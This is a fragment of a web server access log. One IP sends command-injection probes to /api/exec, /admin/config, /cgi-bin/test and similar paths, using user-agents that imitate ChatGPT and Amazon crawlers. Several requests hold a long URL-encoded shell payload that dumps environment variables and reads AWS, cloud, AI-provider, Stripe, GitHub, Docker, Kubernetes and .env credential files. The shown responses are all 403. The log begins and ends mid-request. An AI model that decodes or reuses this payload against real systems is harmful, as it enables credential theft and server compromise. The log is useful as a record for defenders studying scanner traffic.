KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/2.0" 403 17544 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 164 **0/164547**
34.140.123.172 - - [04/Aug/2026:17:50:02 -0700] "GET /api/exec?cmd=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/2.0" 403 17553 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 41 **0/41231**
34.140.123.172 - - [04/Aug/2026:17:50:04 -0700] "GET /api/system?cmd=%3B+echo+GSCAN_CMDI+%23 HTTP/2.0" 403 10903 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 41 **0/41179**
34.140.123.172 - - [04/Aug/2026:17:49:59 -0700] "GET /api/exec?cmd=%3B+echo+GSCAN_CMDI+%23 HTTP/2.0" 403 10901 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 5020 **5/5020552**
34.140.123.172 - - [04/Aug/2026:17:50:04 -0700] "GET /admin/config?cmd=%3B+echo+GSCAN_CMDI+%23 HTTP/2.0" 403 10905 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 33 **0/33971**
34.140.123.172 - - [04/Aug/2026:17:50:04 -0700] "GET /cgi-bin/test?cmd=%3B+echo+GSCAN_CMDI+%23 HTTP/2.0" 403 10905 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 15 **0/15776**
34.140.123.172 - - [04/Aug/2026:17:50:04 -0700] "GET /admin?cmd=%3B+echo+GSCAN_CMDI+%23 HTTP/2.0" 403 10898 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 7 **0/7718**
34.140.123.172 - - [04/Aug/2026:17:50:06 -0700] "GET /admin/config?cmd=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%